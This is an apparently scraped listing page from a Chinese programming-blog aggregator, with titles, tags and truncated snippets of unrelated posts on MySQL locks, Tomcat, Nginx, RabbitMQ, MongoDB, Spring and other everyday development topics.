<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql%E8%AF%BB%E9%94%81/1.htm">mysql读锁</a><a class="tag" taget="_blank" href="/search/mysql%E5%86%99%E9%94%81/1.htm">mysql写锁</a><a class="tag" taget="_blank" href="/search/mysql%E4%B8%AD%E7%9A%84%E8%AF%BB%E9%94%81%E5%95%A5%E6%84%8F%E6%80%9D/1.htm">mysql中的读锁啥意思</a><a class="tag" taget="_blank" href="/search/mysql%E4%B8%AD%E7%9A%84%E5%86%99%E9%94%81%E5%95%A5%E6%84%8F%E6%80%9D/1.htm">mysql中的写锁啥意思</a><a class="tag" taget="_blank" href="/search/mysql%E9%94%81%E6%9C%BA%E5%88%B6/1.htm">mysql锁机制</a>
                        <div>MySQL中的读锁与写锁:概念与作用深度剖析在MySQL数据库的并发控制机制中,读锁和写锁起着至关重要的作用。它们是确保数据在多用户环境下能够正确、安全地被访问和修改的关键工具。一、读锁(共享锁)概念读锁,也称为共享锁(SharedLock),在MySQL中使用LOCKINSHAREMODE语句来实现。当一个事务对某一数据对象施加读锁时,允许其他事务同时对该数据对象进行读取操作,但不允许其他事务对</div>
                    </li>
                    <li><a href="/article/1884944175183491072.htm"
                           title="tomcat系统架构及运用" target="_blank">tomcat系统架构及运用</a>
                        <span class="text-muted">极致人生-010</span>
<a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/1.htm">系统架构</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>文章目录下面是Tomcat架构的详细解析:1.**Server(服务器)**2.**Service(服务)**3.**Container(容器)**-分层结构4.**Connectors(连接器)**5.**类加载器(ClassLoader)**6.**Catalina**7.**配置文件与目录结构**8.**监听器(Listeners)**9.**安全性**10.**性能调优与监控**Tomca</div>
                    </li>
                    <li><a href="/article/1884941773155921920.htm"
                           title="MMOFPS架构方案" target="_blank">MMOFPS架构方案</a>
                        <span class="text-muted">你一身傲骨怎能输</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F%E6%A1%86%E6%9E%B6/1.htm">游戏框架</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>设计一个大规模多人在线第一人称射击游戏(MMOFPS)的架构是一个复杂且具有挑战性的任务。这个架构需要考虑到高并发、低延迟、数据一致性、安全性和可扩展性等多个方面。以下是一个详细的MMOFPS架构方案,涵盖了客户端、服务器、数据库和网络通信等方面。架构概述客户端:负责渲染、用户输入、动画和本地物理计算。服务器:负责游戏逻辑、状态同步、玩家匹配和数据存储。数据库:存储玩家数据、游戏状态和日志。网络通</div>
                    </li>
                    <li><a href="/article/1884939251049623552.htm"
                           title="【Ubuntu】使用远程桌面协议(RDP)在Windows上远程连接Ubuntu" target="_blank">【Ubuntu】使用远程桌面协议(RDP)在Windows上远程连接Ubuntu</a>
                        <span class="text-muted">林九生</span>
<a class="tag" taget="_blank" href="/search/Ubuntu/1.htm">Ubuntu</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>使用远程桌面协议(RDP)在Windows上远程连接Ubuntu远程桌面协议(RDP)是一种允许用户通过图形界面远程控制计算机的协议。本文将详细介绍如何在Ubuntu上安装和配置xrdp,并通过Windows的远程桌面连接工具访问Ubuntu。1.在Ubuntu上安装xrdp首先,我们需要在Ubuntu上安装xrdp服务。xrdp是一个开源的RDP服务器,允许远程用户通过RDP协议连接到Ubunt</div>
                    </li>
                    <li><a href="/article/1884938115613782016.htm"
                           title="联想拯救者Y7000p+Nvidia rtx2060 显卡驱动安装" target="_blank">联想拯救者Y7000p+Nvidia rtx2060 显卡驱动安装</a>
                        <span class="text-muted">MartianCoder</span>
<a class="tag" taget="_blank" href="/search/rtx2060/1.htm">rtx2060</a><a class="tag" taget="_blank" href="/search/y7000p/1.htm">y7000p</a><a class="tag" taget="_blank" href="/search/%E8%81%94%E6%83%B3%E6%8B%AF%E6%95%91%E8%80%85/1.htm">联想拯救者</a><a class="tag" taget="_blank" href="/search/nvidia%E9%A9%B1%E5%8A%A8/1.htm">nvidia驱动</a><a class="tag" taget="_blank" href="/search/ubuntu16.04/1.htm">ubuntu16.04</a>
                        <div>0.前言:618搞活动,打算入手一台笔记本,听说拯救者还不错,但是驱动好多朋友都装不上,所以把自己的经验分享一下,或许对你有一点点的帮助。总的来说,显卡驱动一般会有几种方式:1.run文件直接安装(采用这种方式完成的)2.ppa安装3.系统附加驱动安装1.run文件安装1.1禁止nouveau集成显卡驱动编辑blacklist.confsudogedit/etc/modprobe.d/blackl</div>
                    </li>
                    <li><a href="/article/1884937234256293888.htm"
                           title="C++程序-多行字符输入并判断类别(安全密码问题)" target="_blank">C++程序-多行字符输入并判断类别(安全密码问题)</a>
                        <span class="text-muted">huangxl1991</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/1.htm">程序设计</a>
                        <div>判断键盘输入是否安全密码-char[]类/*题目:安全密码要求:一般来说一个比较安全的密码至少应该满足下面两个条件:(1).密码长度大于等于8,且不要超过16。(2).密码中的字符应该来自下面“字符类别”中四组中的至少三组。这四个字符类别分别为:1.大写字母:A,B,C...Z;2.小写字母:a,b,c...z;3.数字:0,1,2...9;4.特殊符号:~,!,@,#,$,%,^(除以上三类均认</div>
                    </li>
                    <li><a href="/article/1884934084594036736.htm"
                           title="kotlin扩展函数!啃下这些Framework技术笔记,醍醐灌顶!_kotlin framework features" target="_blank">kotlin扩展函数!啃下这些Framework技术笔记,醍醐灌顶!_kotlin framework features</a>
                        <span class="text-muted">2401_89694162</span>
<a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a>
                        <div>前言选了开发这一行,就意味着想混得好就要持续学习,你的技术和薪资、位置直接挂钩,进步对于程序员的重要性就不赘述了,接下来作为过来人,为广大同行分享一些学习干货,希望可以帮到大家什么是HTTPS?HTTPS(基于安全套接字层的超文本传输协议或者是HTTPoverSSL)是一个Netscape开发的Web协议。你也可以说:HTTPS=HTTP+SSLHTTPS在HTTP应用层的基础上使用安全套接字层作</div>
                    </li>
                    <li><a href="/article/1884933958269988864.htm"
                           title="Apache Tomcat JBOSS Jetty Nginx WebLogic WebSphere之间的区别区别_jetty和tomcat和weblogic" target="_blank">Apache Tomcat JBOSS Jetty Nginx WebLogic WebSphere之间的区别区别_jetty和tomcat和weblogic</a>
                        <span class="text-muted">2401_89694162</span>
<a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/jetty/1.htm">jetty</a>
                        <div>文章目录总结:Apache/Tomcat/JBOSS/Nginx区别.一、Apache+Tomcat二、Jetty三、Nginx四、JBossWebLogic、WebSphere、JBOSS、Tomcat之间的区别1:产品介绍:2:价位不同:3:开源性不同:4:对技术的支持:5:扩展性的不同:6:应用范围的区别:7:商业服务和技术支持的区别:8:安全性问题9:与数据库的紧密结合性:服务:三、部署四</div>
                    </li>
                    <li><a href="/article/1884932573000429568.htm"
                           title="1 vs. N:Nginx在零信任架构下如何成为API安全网关的唯一选择?" target="_blank">1 vs. N:Nginx在零信任架构下如何成为API安全网关的唯一选择?</a>
                        <span class="text-muted">墨瑾轩</span>
<a class="tag" taget="_blank" href="/search/Nginx%E4%B9%90%E5%9B%AD/1.htm">Nginx乐园</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>关注墨瑾轩,带你探索编程的奥秘!超萌技术攻略,轻松晋级编程高手技术宝库已备好,就等你来挖掘订阅墨瑾轩,智趣学习不孤单即刻启航,编程之旅更有趣你是否曾经疑惑过,在众多的安全网关解决方案中,为什么Nginx能够脱颖而出,成为构建零信任架构下API安全网关的最佳伙伴?今天我们就来揭开这个谜底,看看Nginx是如何凭借其强大的功能和灵活性,在这场“1对N”的较量中胜出的。我们将深入探讨每一个细节,并提供详</div>
                    </li>
                    <li><a href="/article/1884928155538485248.htm"
                           title="企业数字化运营系统总体规划蓝图、企业信息化建设总体规划方案" target="_blank">企业数字化运营系统总体规划蓝图、企业信息化建设总体规划方案</a>
                        <span class="text-muted">公众号:优享智库</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E5%AD%97%E5%8C%96%E8%BD%AC%E5%9E%8B/1.htm">数字化转型</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%B2%BB%E7%90%86/1.htm">数据治理</a><a class="tag" taget="_blank" href="/search/%E4%B8%BB%E6%95%B0%E6%8D%AE/1.htm">主数据</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E4%BB%93%E5%BA%93/1.htm">数据仓库</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E5%8E%9F%E7%94%9F/1.htm">云原生</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/1.htm">数据挖掘</a>
                        <div>一、企业数字化运营系统总体规划蓝图1.数字化建设目标与愿景我们的数字化建设目标是实现企业的全面数字化转型,通过科技的力量提升运营效率、优化客户体验、强化数据分析能力,从而增强企业的核心竞争力。我们的愿景是打造一个高效、智能、安全的数字化运营体系,推动企业向更高层次的发展。2.基础设施升级与改造为实现数字化建设目标,我们将进行基础设施的全面升级与改造。这包括升级现有的硬件设备、构建云计算平台、完善网</div>
                    </li>
                    <li><a href="/article/1884922225161728000.htm"
                           title="【2024年-12月-续篇-开源社区openEuler实践记录】go-from-mod" target="_blank">【2024年-12月-续篇-开源社区openEuler实践记录】go-from-mod</a>
                        <span class="text-muted">我明天再来学Web渗透</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90%E7%A4%BE%E5%8C%BAOpenEuler/1.htm">开源社区OpenEuler</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/copilot/1.htm">copilot</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90%E8%BD%AF%E4%BB%B6/1.htm">开源软件</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>前言初学Go语言,下面仅为个人所学以及小结,若有错误之处,还请指教。Go语言基础入门篇的一二节课,其中我对每个讲到的语法都重写或者本地测试运行过,其中第二节课的第三个小项目尚未实现(本人对网络连接那块的脚本尚不熟悉,)部分代码不能太多,所以贴图了有些。Go基础语法目前学过的Go语法只有课程内的,下面是一些小小的笔记。导包和输出packagemainimport"fmt"funcmain(){fmt</div>
                    </li>
                    <li><a href="/article/1884921468135993344.htm"
                           title="YOLOv11-ultralytics-8.3.67部分代码阅读笔记-head.py" target="_blank">YOLOv11-ultralytics-8.3.67部分代码阅读笔记-head.py</a>
                        <span class="text-muted">红色的山茶花</span>
<a class="tag" taget="_blank" href="/search/YOLO/1.htm">YOLO</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a>
                        <div>head.pyultralytics\nn\modules\head.py目录head.py1.所需的库和模块2.classDetect(nn.Module):3.classSegment(Detect):4.classOBB(Detect):5.classPose(Detect):6.classClassify(nn.Module):7.classWorldDetect(Detect):8.cl</div>
                    </li>
                                <li><a href="/article/108.htm"
                                       title="Nginx负载均衡" target="_blank">Nginx负载均衡</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a>
                                    <div>Nginx负载均衡一些基础知识: 
 
nginx 的 upstream目前支持 4 种方式的分配 
1)、轮询(默认) 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。 
2)、weight 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定轮询几率,weight和访问比率成正比</div>
                                </li>
                                <li><a href="/article/235.htm"
                                       title="RedHat 6.4 安装 rabbitmq" target="_blank">RedHat 6.4 安装 rabbitmq</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/erlang/1.htm">erlang</a><a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/redhat/1.htm">redhat</a>
                                    <div>在 linux 下安装软件就是折腾,首先是测试机不能上外网要找运维开通,开通后发现测试机的 yum 不能使用于是又要配置 yum 源,最后安装 rabbitmq 时也尝试了两种方法最后才安装成功 
 
机器版本: 
 
[root@redhat1 rabbitmq]# lsb_release
LSB Version:    :base-4.0-amd64:base-4.0-noarch:core</div>
                                </li>
                                <li><a href="/article/362.htm"
                                       title="FilenameUtils工具类" target="_blank">FilenameUtils工具类</a>
                                    <span class="text-muted">eksliang</span>
<a class="tag" taget="_blank" href="/search/FilenameUtils/1.htm">FilenameUtils</a><a class="tag" taget="_blank" href="/search/common-io/1.htm">common-io</a>
                                    <div>转载请出自出处:http://eksliang.iteye.com/blog/2217081 一、概述 
这是一个Java操作文件的常用库,是Apache对java的IO包的封装,这里面有两个非常核心的类FilenameUtils跟FileUtils,其中FilenameUtils是对文件名操作的封装;FileUtils是文件封装,开发中对文件的操作,几乎都可以在这个框架里面找到。 非常的好用。 </div>
                                </li>
                                <li><a href="/article/489.htm"
                                       title="xml文件解析SAX" target="_blank">xml文件解析SAX</a>
                                    <span class="text-muted">不懂事的小屁孩</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a>
                                    <div>xml文件解析:xml文件解析有四种方式, 
1.DOM生成和解析XML文档(SAX是基于事件流的解析) 
2.SAX生成和解析XML文档(基于XML文档树结构的解析) 
3.DOM4J生成和解析XML文档 
4.JDOM生成和解析XML  
本文章用第一种方法进行解析,使用android常用的DefaultHandler 
 
 
import org.xml.sax.Attributes;
</div>
                                </li>
                                <li><a href="/article/616.htm"
                                       title="通过定时任务执行mysql的定期删除和新建分区,此处是按日分区" target="_blank">通过定时任务执行mysql的定期删除和新建分区,此处是按日分区</a>
                                    <span class="text-muted">酷的飞上天空</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>使用python脚本作为命令脚本,linux的定时任务来每天定时执行 
  
#!/usr/bin/python
# -*- coding: utf8 -*-
import pymysql
import datetime
import calendar

#要分区的表
table_name = 'my_table'
#连接数据库的信息
host,user,passwd,db = </div>
                                </li>
                                <li><a href="/article/743.htm"
                                       title="如何搭建数据湖架构?听听专家的意见" target="_blank">如何搭建数据湖架构?听听专家的意见</a>
                                    <span class="text-muted">蓝儿唯美</span>
<a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                                    <div>Edo Interactive在几年前遇到一个大问题:公司使用交易数据来帮助零售商和餐馆进行个性化促销,但其数据仓库没有足够时间去处理所有的信用卡和借记卡交易数据 
&nbsp;“我们要花费27小时来处理每日的数据量,”Edo主管基础设施和信息系统的高级副总裁Tim Garnto说道:“所以在2013年,我们放弃了现有的基于PostgreSQL的关系型数据库系统,使用了Hadoop集群作为公司的数</div>
                                </li>
                                <li><a href="/article/870.htm"
                                       title="spring学习——控制反转与依赖注入" target="_blank">spring学习——控制反转与依赖注入</a>
                                    <span class="text-muted">a-john</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a>
                                    <div>&nbsp; &nbsp; &nbsp; &nbsp;控制反转(Inversion of Control,英文缩写为IoC)是一个重要的面向对象编程的法则来削减计算机程序的耦合问题,也是轻量级的Spring框架的核心。 控制反转一般分为两种类型,依赖注入(Dependency Injection,简称DI)和依赖查找(Dependency Lookup)。依赖注入应用比较广泛。 
&nbsp; 
</div>
                                </li>
                                <li><a href="/article/997.htm"
                                       title="用spool+unixshell生成文本文件的方法" target="_blank">用spool+unixshell生成文本文件的方法</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/xshell/1.htm">xshell</a>
                                    <div>例如我们把scott.dept表生成文本文件的语句写成dept.sql,内容如下:  
  set pages 50000; 
  set lines 200; 
  set trims on; 
  set heading off; 
  spool /oracle_backup/log/test/dept.lst; 
  select deptno||','||dname||','||loc </div>
                                </li>
                                <li><a href="/article/1124.htm"
                                       title="1、基础--名词解析(OOA/OOD/OOP)" target="_blank">1、基础--名词解析(OOA/OOD/OOP)</a>
                                    <span class="text-muted">asia007</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/1.htm">学习基础知识</a>
                                    <div>OOA:Object-Oriented Analysis(面向对象分析方法) 
是在一个系统的开发过程中进行了系统业务调查以后,按照面向对象的思想来分析问题。OOA与结构化分析有较大的区别。OOA所强调的是在系统调查资料的基础上,针对OO方法所需要的素材进行的归类分析和整理,而不是对管理业务现状和方法的分析。 
  OOA(面向对象的分析)模型由5个层次(主题层、对象类层、结构层、属性层和服务层)</div>
                                </li>
                                <li><a href="/article/1251.htm"
                                       title="浅谈java转成json编码格式技术" target="_blank">浅谈java转成json编码格式技术</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/json%E7%BC%96%E7%A0%81/1.htm">json编码</a><a class="tag" taget="_blank" href="/search/java%E8%BD%AC%E6%88%90json%E7%BC%96%E7%A0%81/1.htm">java转成json编码</a>
                                    <div>json编码;是一个轻量级的数据存储和传输的语言 
&nbsp;&nbsp; 
&nbsp; &nbsp;在java中需要引入json相关的包,引包方式在工程的lib下就可以了 
&nbsp; 
JSON与JAVA数据的转换(JSON 即 JavaScript Object Natation,它是一种轻量级的数据交换格式,非 
&nbsp; 
常适合于服务器与 JavaScript 之间的数据的交</div>
                                </li>
                                <li><a href="/article/1378.htm"
                                       title="web.xml之Spring配置(基于Spring+Struts+Ibatis)" target="_blank">web.xml之Spring配置(基于Spring+Struts+Ibatis)</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a><a class="tag" taget="_blank" href="/search/SSI/1.htm">SSI</a><a class="tag" taget="_blank" href="/search/spring%E9%85%8D%E7%BD%AE/1.htm">spring配置</a>
                                    <div>指定Spring配置文件位置 
&lt;context-param&gt;
		&lt;param-name&gt;contextConfigLocation&lt;/param-name&gt;
		&lt;param-value&gt;
			/WEB-INF/spring-dao-bean.xml,/WEB-INF/spring-resources.xml,
			/WEB-INF/</div>
                                </li>
                                <li><a href="/article/1505.htm"
                                       title="Installing SonarQube(Fail to download libraries from server)" target="_blank">Installing SonarQube(Fail to download libraries from server)</a>
                                    <span class="text-muted">sunjing</span>
<a class="tag" taget="_blank" href="/search/Install/1.htm">Install</a><a class="tag" taget="_blank" href="/search/Sonar/1.htm">Sonar</a>
                                    <div>1.&nbsp; Download and unzip the SonarQube distribution  
2. &nbsp;Starting the Web Server 
The default port is &quot;9000&quot; and the context path is &quot;/&quot;. These values can be changed in &l</div>
                                </li>
                                <li><a href="/article/1632.htm"
                                       title="【MongoDB学习笔记十一】Mongo副本集基本的增删查" target="_blank">【MongoDB学习笔记十一】Mongo副本集基本的增删查</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>一、创建复本集 
&nbsp; 
假设mongod,mongo已经配置在系统路径变量上,启动三个命令行窗口,分别执行如下命令: 
&nbsp; 
mongod --port 27017 --dbpath  data1 --replSet rs0

mongod --port 27018 --dbpath  data2 --replSet rs0

mongod --port 27019 -</div>
                                </li>
                                <li><a href="/article/1759.htm"
                                       title="Anychart图表系列二之执行Flash和HTML5渲染" target="_blank">Anychart图表系列二之执行Flash和HTML5渲染</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/Flash/1.htm">Flash</a>
                                    <div>今天介绍Anychart的Flash和HTML5渲染功能 
&nbsp; 
 
 HTML5 
 
Anychart从6.0第一个版本起,已经逐渐开始支持各种图的HTML5渲染效果了,也就是说即使你没有安装Flash插件,只要浏览器支持HTML5,也能看到Anychart的图形(不过这些是需要做一些配置的)。 
这里要提醒下大家,Anychart6.0版本对HTML5的支持还不算很成熟,目前还处于</div>
                                </li>
                                <li><a href="/article/1886.htm"
                                       title="Laravel版本更新异常4.2.8-> 4.2.9 Declaration of ... CompilerEngine ... should be compa" target="_blank">Laravel版本更新异常4.2.8-> 4.2.9 Declaration of ... CompilerEngine ... should be compa</a>
                                    <span class="text-muted">bozch</span>
<a class="tag" taget="_blank" href="/search/laravel/1.htm">laravel</a>
                                    <div>昨天在为了把laravel升级到最新的版本,突然之间就出现了如下错误: 
ErrorException thrown with message &quot;Declaration of Illuminate\View\Engines\CompilerEngine::handleViewException() should be compatible with Illuminate\View\Eng</div>
                                </li>
                                <li><a href="/article/2013.htm"
                                       title="编程之美-NIM游戏分析-石头总数为奇数时如何保证先动手者必胜" target="_blank">编程之美-NIM游戏分析-石头总数为奇数时如何保证先动手者必胜</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a>
                                    <div>


import java.util.Arrays;
import java.util.Random;

public class Nim {

	/**编程之美 NIM游戏分析
问题:
有N块石头和两个玩家A和B,玩家A先将石头随机分成若干堆,然后按照BABA...的顺序不断轮流取石头,
能将剩下的石头一次取光的玩家获胜,每次取石头时,每个玩家只能从若干堆石头中任选一堆,</div>
                                </li>
                                <li><a href="/article/2140.htm"
                                       title="lunce创建索引及简单查询" target="_blank">lunce创建索引及简单查询</a>
                                    <span class="text-muted">chengxuyuancsdn</span>
<a class="tag" taget="_blank" href="/search/%E6%9F%A5%E8%AF%A2/1.htm">查询</a><a class="tag" taget="_blank" href="/search/%E5%88%9B%E5%BB%BA%E7%B4%A2%E5%BC%95/1.htm">创建索引</a><a class="tag" taget="_blank" href="/search/lunce/1.htm">lunce</a>
                                    <div>import java.io.File;
import java.io.IOException;

import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.Docume</div>
                                </li>
                                <li><a href="/article/2267.htm"
                                       title="[IT与投资]坚持独立自主的研究核心技术" target="_blank">[IT与投资]坚持独立自主的研究核心技术</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/it/1.htm">it</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 和别人合作开发某项产品....如果互相之间的技术水平不同,那么这种合作很难进行,一般都会成为强者控制弱者的方法和手段..... 
 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以弱者,在遇到技术难题的时候,最好不要一开始就去寻求强者的帮助,因为在我们这颗星球上,生物都有一种控制其</div>
                                </li>
                                <li><a href="/article/2394.htm"
                                       title="flashback transaction闪回事务查询" target="_blank">flashback transaction闪回事务查询</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E9%97%AA%E5%9B%9E%E4%BA%8B%E5%8A%A1/1.htm">闪回事务</a>
                                    <div>&nbsp;&nbsp; 
闪回事务查询有别于闪回查询的特点有以下3个: 
 
(1)其正常工作不但需要利用撤销数据,还需要事先启用最小补充日志。 
 
(2)返回的结果不是以前的“旧”数据,而是能够将当前数据修改为以前的样子的撤销SQL(Undo SQL)语句。 
 
(3)集中地在名为flashback_transaction_query表上查询,而不是在各个表上通过“as of”或“vers</div>
                                </li>
                                <li><a href="/article/2521.htm"
                                       title="Java I/O之FilenameFilter类列举出指定路径下某个扩展名的文件" target="_blank">Java I/O之FilenameFilter类列举出指定路径下某个扩展名的文件</a>
                                    <span class="text-muted">游其是你</span>
<a class="tag" taget="_blank" href="/search/FilenameFilter/1.htm">FilenameFilter</a>
                                    <div>这是一个FilenameFilter类用法的例子,实现的列举出“c:\\folder“路径下所有以“.jpg”扩展名的文件。        1   2   3   4   5   6   7   8   9   10   11   12   13   14   15   16   17   18   19   20   21   22   23   24   25   26   27   28  </div>
                                </li>
                                <li><a href="/article/2648.htm"
                                       title="C语言学习五函数,函数的前置声明以及如何在软件开发中合理的设计函数来解决实际问题" target="_blank">C语言学习五函数,函数的前置声明以及如何在软件开发中合理的设计函数来解决实际问题</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a>
                                    <div># include &lt;stdio.h&gt;

int f(void)		//括号中的void表示该函数不能接受数据,int表示返回的类型为int类型
{
	return 10;	//向主调函数返回10
}

void g(void)	//函数名前面的void表示该函数没有返回值
{
	//return 10;	//error 与第8行行首的void相矛盾
}

in</div>
                                </li>
                                <li><a href="/article/2775.htm"
                                       title="今天在测试环境使用yum安装,遇到一个问题: Error: Cannot retrieve metalink for repository: epel. Pl" target="_blank">今天在测试环境使用yum安装,遇到一个问题: Error: Cannot retrieve metalink for repository: epel. Pl</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a>
                                    <div>今天在测试环境使用yum安装,遇到一个问题: 
Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again 
&nbsp; 
处理很简单,修改文件“/etc/yum.repos.d/epel.repo”, 将baseurl的注释取消, mirrorlist注释掉。即可。 
&n</div>
                                </li>
                                <li><a href="/article/2902.htm"
                                       title="单例模式" target="_blank">单例模式</a>
                                    <span class="text-muted">shuizhaosi888</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/1.htm">单例模式</a>
                                    <div>单例模式&nbsp;&nbsp;   &nbsp;&nbsp; 懒汉式 
public class RunMain {

	/**
	 * 私有构造
	 */
	private RunMain() {
	}
	
    /**
     * 内部类,用于占位,只有
     */
	private static class SingletonRunMain {
		priv</div>
                                </li>
                                <li><a href="/article/3029.htm"
                                       title="Spring Security(09)——Filter" target="_blank">Spring Security(09)——Filter</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/Spring+Security/1.htm">Spring Security</a>
                                    <div>Filter 
目录 
1.1&nbsp;&nbsp;&nbsp;&nbsp; Filter顺序 
1.2&nbsp;&nbsp;&nbsp;&nbsp; 添加Filter到FilterChain 
1.3&nbsp;&nbsp;&nbsp;&nbsp; DelegatingFilterProxy 
1.4&nbsp;&nbsp;&nbsp;&nbsp; FilterChainProxy 
1.5</div>
                                </li>
                                <li><a href="/article/3156.htm"
                                       title="公司项目NODEJS实践0.1" target="_blank">公司项目NODEJS实践0.1</a>
                                    <span class="text-muted">逐行分析JS源代码</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/nodejs/1.htm">nodejs</a>
                                    <div>&nbsp; 
一、前言 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前端如何独立用nodeJs实现一个简单的注册、登录功能,是不是只用nodejs+sql就可以了?其实是可以实现,但离实际应用还有距离,那要怎么做才是实际可用的。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;网上有很多nod</div>
                                </li>
                                <li><a href="/article/3283.htm"
                                       title="java.lang.Math" target="_blank">java.lang.Math</a>
                                    <span class="text-muted">liuhaibo_ljf</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a><a class="tag" taget="_blank" href="/search/lang/1.htm">lang</a>
                                    <div>System.out.println(Math.PI); 
System.out.println(Math.abs(1.2)); 
System.out.println(Math.abs(1.2)); 
System.out.println(Math.abs(1)); 
System.out.println(Math.abs(111111111)); 
System.out.println(Mat</div>
                                </li>
                                <li><a href="/article/3410.htm"
                                       title="linux下时间同步" target="_blank">linux下时间同步</a>
                                    <span class="text-muted">nonobaba</span>
